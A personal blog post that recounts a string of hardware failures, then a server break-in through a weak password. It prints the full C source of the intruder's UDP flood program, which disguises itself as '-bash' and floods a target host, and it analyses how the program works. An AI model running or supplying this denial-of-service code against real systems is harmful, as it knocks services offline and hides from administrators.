The Blogg

If you are a semi-regular reader, you may have noticed my blog was down for much of the last week. Sorry about that, it should be back in commission for a little while at least. It seems that I have terrible luck with electronics. In the last two months I have had serious issues with every computer I own.

The trouble started about two months ago when the right-click button on my laptop’s touchpad started malfunctioning. I am not exactly sure what is happening at a low level, but the most significant symptom is that occasionally if I click the right button to open a context menu, it instead selects an arbitrary action off of that menu and executes it, rather than showing the menu for even an instant. Thus, my attempts to open links in a different Firefox tab sometimes resulted in starting to compose an email with the link as its body, creating a bookmark, or switching the page direction. This was quite annoying, but I have learned to ctrl-click for new tabs, which cuts down on at least 90% of my right-clicking.

Next the hard drive in my desktop machine died, choking so badly that the BIOS does not even detect anything attached to the IDE controller. This was not a big problem because I had no especially important data stored only in that location, I only rarely used it as anything other than a jukebox, and my wife had been trying to convince me to turn it off, saving power and heat production.

Then about a month ago I found that the lid of my laptop swung much more freely than it used to. It will still more or less stay in a position if it is close enough to a right angle that the gravity vector is almost parallel to it. Looking for a reason for this change, I discovered that the clips holding the left hinge to the body had pulled out, and were not willing to be inserted by the amount of force I trusted myself to apply without breaking something else. This is quite annoying, but manageable.

Around the same time I noticed that the power button on my laptop would only work if the machine was held perfectly horizontal at the time. As time went by, it seemed to be even more finicky. On Thursday night and Friday morning I could not get it to start from any position. When I took it to my lab to attempt surgery, it started right up of course. Since then I have not turned it off, and am hoping to avoid doing so for a long time. This, obviously, could become a serious problem.

While I was in Chicago I noticed that computers on my home network stopped responding to any requests from the Internet at large. Since no one was at home, I could do nothing about it until I returned Thursday night. When I did so, I found that the router had simply not automatically restarted itself after a brief power outage. Only a minor inconvenience, and a reminder that I should really buy a UPS when I can scrape the funding together.

While I was at work the next day, however, I found that all of my machines except the router were still basically unresponsive. When I came home and ran some diagnostics it appeared that the problem needed to be either the NIC in my router or its PCI controller. Replacing the NIC solved the problem, but I have a vague memory that this machine was destroyed 2 or 3 other Ethernet cards, possibly in the same circumstances. Thankfully, I should be able to get a wholesale replacement from the same Erekson repository of old and unwanted machines that yielded the first one.

We needed to replace my wife’s laptop about a year ago when something exploded on the mainboard, and I’ve lost two subwoofer amplifiers in my car and an instrument amplifier. I also have a network hub and a WAP that died, and my current WAP needs to be power cycled every few months when it gets messed up. I am considering doing some freelance work fixing people’s computer problems, but I am not sure I should be allowed to touch any equipment that I do not need to.

I am not a particularly knowledgeable or conscientious system administrator, but I usually get by. Debian generally makes it easy enough to figure out how to do whatever I need, and I assume that simply by not using Windows and taking those precautions that I know about will lower my risk of a security breach to a negligible level. Unfortunately, that assumption appears not to be valid.

Starting last night, my Internet connection slowed to a crawl, and eventually even my internal network became unusable. With the help of some esteemed colleagues and friends I was able to find the source of this problem: a cracker had remotely logged into sigaserver and executed a rogue program that was overloading the network with spurious traffic. I am fairly good about using strong passwords, but I had created an account for my wife to backup her laptop hard drive 6 months ago and did not do so. Perhaps (as I remember it) I asked her to login and change the generic to a strong password and she failed to do so, or perhaps (as she remembers it) I had intended to do this but ended up making the transfers myself and never asking her to login. In any case, a scanner was able to guess her password and login.

Thankfully, it appears that the root user was not compromised and I was able to return the machine to its normal state by simply killing the rogue processes and disabling her account. I went looking to find the program being run, and found two files owned by my wife’s account in /tmp: an executable named “udkb” and a source file named “udkb.c”, the contents of which are printed below.

#define BOMB_STRING "1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF"
#define BOMB_SIZE 1480
#define ALRMTIME 300
#define FAKENAME "-bash"
// snipped standard includes

struct sockaddr_in addr;
unsigned char host[1024]={0};

unsigned long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
        return lookup("127.0.0.1");
      }

    return *(unsigned long *)hp->h_addr;
}

void  handler(int n)
{
    addr.sin_addr.s_addr=lookup(host);
    printf("new host %s\n",inet_ntoa(addr.sin_addr));
    alarm(ALRMTIME);
    return;
}
int main(int argc, char **argv)
{
    int s;
    int on;
    unsigned short port;
    unsigned psent=0;

    signal(SIGALRM,handler);
    alarm(ALRMTIME);
    if(argc != 3)
    {
        fprintf(stderr, "Syntax: %s  \n",argv[0]);
        exit(0);
    }
    strcpy(host,argv[1]);
    port=htons(atoi(argv[2]));
#ifdef FAKENAME
    strncpy(argv[0],FAKENAME,strlen(argv[0]));
    for (on=1;on < argc ;on++) memset(argv[on],0,strlen(argv[on]));
#endif                  

    s=socket(AF_INET,SOCK_DGRAM,0);
    addr.sin_addr.s_addr=lookup(host);
    addr.sin_family=AF_INET;
    addr.sin_port=port;

    if(s<0) exit(0);
    for(;;)
    {
        sendto(s, BOMB_STRING, BOMB_SIZE, 0,(struct sockaddr *) &addr,sizeof(struc
t sockaddr_in));
        usleep(10000);
        psent++;
    }
}

I noticed a few interesting things about this. First, it attempts to disguise its presence (and indeed it works) by overwriting the values of its argument list to look like an invocation of the shell with no arguments. The fact that the writer attempted this and that it works means that utilities such as ps read this information from the memory space of each process, which I find quite odd. I am not very familiar with the UNIX process model, but would have expected this information to be stored in the process control block (as well as copied to the process's memory space for its own use). To allow each process to alter the information returned by process monitors about it other than as a part of a call to exec seems like a minor security vulnerability with no legitimate use.

By my understanding, this program sends a rather useless message (the hexadecimal digits (hexits?) repeated 3 times) to a specified host every 10,000 microseconds (100 each second). It also checks to see if the specified hostname is associated with a new IP address every 5 minutes. Thus, it seems I was an unwitting part of a distributed denial-of-service attack against 217.79.190.56 which was apparently successful, because it does not respond to pings or HTTP requests.